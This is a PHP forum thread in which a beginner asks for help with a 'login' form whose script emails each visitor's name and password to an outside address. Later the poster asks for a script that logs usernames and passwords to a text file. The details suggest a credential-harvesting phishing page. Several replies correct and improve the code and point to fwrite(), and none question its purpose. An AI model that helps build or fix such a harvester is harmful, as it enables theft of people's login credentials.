PHP newbie

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

PHP newbie

Post by jopet00222 »

can someone help me with php
when i click login it download logind php
pls help

LogIN.PHP

Code: Select all

<html>
<head>
<title>Script to send mail</title>
</head>
<body>
<?php
echo "<p>Thank you, <b>$_POST[name]</b>, Your message has been sent.</p>";
//start building the mail string
$msg = "Name: $_POST[name] ";
$msg .= "Password: $_POST[password] ";
$msg .= "Message: $_POST[message] ";
$recipient = "TITI@freewebtown.com";
$subject = "Form Submission Results";
$mailheaders = "From: My Website <you@yourdomain.com> ";
$mailheaders .= "Reply-to: popoliker@yahoo.com.ph";
//send the mail
mail($recipient, $subject, $msg, $mailheaders);
?>
</body>
</html>

index.html

Code: Select all

<html>
<head>
<title>E-mail Form</title>
</head>
<body>
<form action="login.php" method="POST">
<p>Name:<br /> <input type="text" size="20″ name="name" /></p>
<p>Password:<br /> <input type="text" size="20″ name-"password" /></p>
<p><input type="submit" value="send" /></p>
</form>
</body>
</html>
User avatar
saltwine
Forum Newbie
Posts: 16
Joined: Tue Nov 09, 2010 7:05 am
Location: London

Re: PHP newbie

Post by saltwine »

You've got lots of errors in your code. Try cleaning those up first and trying again...

login.php

Code: Select all

<html>
    <head>
        <title>Script to send mail</title>
    </head>
    <body>
        <?php
        echo "<p>Thank you, <b>" . $_POST['name'] . "</b>, Your message has been sent.</p>";

        //start building the mail string
        $msg = "Name: " . $_POST['name'] . "\n";
        $msg .= "Password: " . $_POST['password'] . "\n";
        $msg .= "Message: " . $_POST['message'] . "\n";
        $recipient = "TITI@freewebtown.com";
        $subject = "Form Submission Results";
        $mailheaders = "From: My Website <you@yourdomain.com> ";
        $mailheaders .= "Reply-to: popoliker@yahoo.com.ph";

        //send the mail
        mail($recipient, $subject, $msg, $mailheaders);
        ?>
    </body>
</html>
index.html

Code: Select all

<html>
    <head>
        <title>E-mail Form</title>
    </head>
    <body>
        <form action="login.php" method="POST">
            <p>Name:<br /> <input type="text" size="20" name="name" /></p>
            <p>Password:<br /> <input type="text" size="20" name="password" /></p>
            <p><input type="submit" value="send" /></p>
        </form>
    </body>
</html>
 
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

so what should i do then..
please HELP
User avatar
Celauran
Moderator
Posts: 6427
Joined: Tue Nov 09, 2010 2:39 pm
Location: Montreal, Canada

Re: PHP newbie

Post by Celauran »

If it's trying to download the php page instead of displaying it, it sounds like PHP is not (properly) installed. If you're sure that it is, check that you have index.php listed in Apache's DirectoryIndex setting.
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

CAN you correct my script sir


when i click login it doesn't send me a message
User avatar
saltwine
Forum Newbie
Posts: 16
Joined: Tue Nov 09, 2010 7:05 am
Location: London

Re: PHP newbie

Post by saltwine »

Hi jopet


See my first post for your script without errors. From your message, I assume you are able to view the form and click submit? Does the "Your message has been sent" screen show?

You might want to make another change to your login.php page:

Code: Select all

<html>
    <head>
        <title>Script to send mail</title>
    </head>
    <body>
        <?php
        //start building the mail string
        $msg = "Name: " . $_POST['name'] . "\n";
        $msg .= "Password: " . $_POST['password'] . "\n";
        $msg .= "Message: " . $_POST['message'] . "\n";
        $recipient = "TITI@freewebtown.com";
        $subject = "Form Submission Results";
        $mailheaders = "From: My Website <you@yourdomain.com> ";
        $mailheaders .= "Reply-to: popoliker@yahoo.com.ph";

        //send the mail
        if(mail($recipient, $subject, $msg, $mailheaders))
            echo "<p>Thank you, <b>" . $_POST['name'] . "</b>, Your message has been sent.</p>";
        else
            echo "<p>Error, Your message has not been sent.</p>";
        ?>
    </body>
</html>
This way the message will display whether or not the mail() function was successful. If it is failing, you'll need to dig into your PHP error log to try and find out why.

PS. I notice you're using two different email addresses in your script: TITI at freewebtown.com and popoliker at yahoo.com.ph. Make sure the address you're trying to send to is the one in the $recipient variable.
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

why when i click send it is always failed sending



does $from need to be valid
User avatar
lorenzo-s
Forum Commoner
Posts: 43
Joined: Tue Aug 25, 2009 12:25 pm

Re: PHP newbie

Post by lorenzo-s »

If you run it on your local machine (or any machine without a SMTP server), the mail() function will never work.
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

can some one give me a script that when you login it be log to an .txt
User avatar
Celauran
Moderator
Posts: 6427
Joined: Tue Nov 09, 2010 2:39 pm
Location: Montreal, Canada

Re: PHP newbie

Post by Celauran »

Why not just use fwrite()?
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

can you give me a fwrite script that can be use in uesrname and pass
jopet00222
Forum Newbie
Posts: 9
Joined: Wed Nov 10, 2010 12:00 am

Re: PHP newbie

Post by jopet00222 »

[text]PS. I notice you're using two different email addresses in your script: TITI at freewebtown.com and popoliker at yahoo.com.ph. Make sure the address you're trying to send to is the one in the $recipient variable.[/text]

i want 2 send the message 2 popoliker at yahhoo.com.ph and the sender is gameclubpoker at t35.com(not titi at freewebtown .com)

please salt wine i really need this script help
Post Reply